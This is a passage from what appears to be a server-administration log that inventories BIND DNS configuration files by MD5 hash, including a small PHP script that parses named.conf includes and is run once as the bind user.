MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 10:33:04: Establishing a connection
2026-04-25 10:33:04: 

PUT: /tmp/pkp927051

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 10:33:04: 

runuser -l bind -s /bin/bash -c '/tmp/pkp927051; rm /tmp/pkp927051'

2026-04-25 10:33:04: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
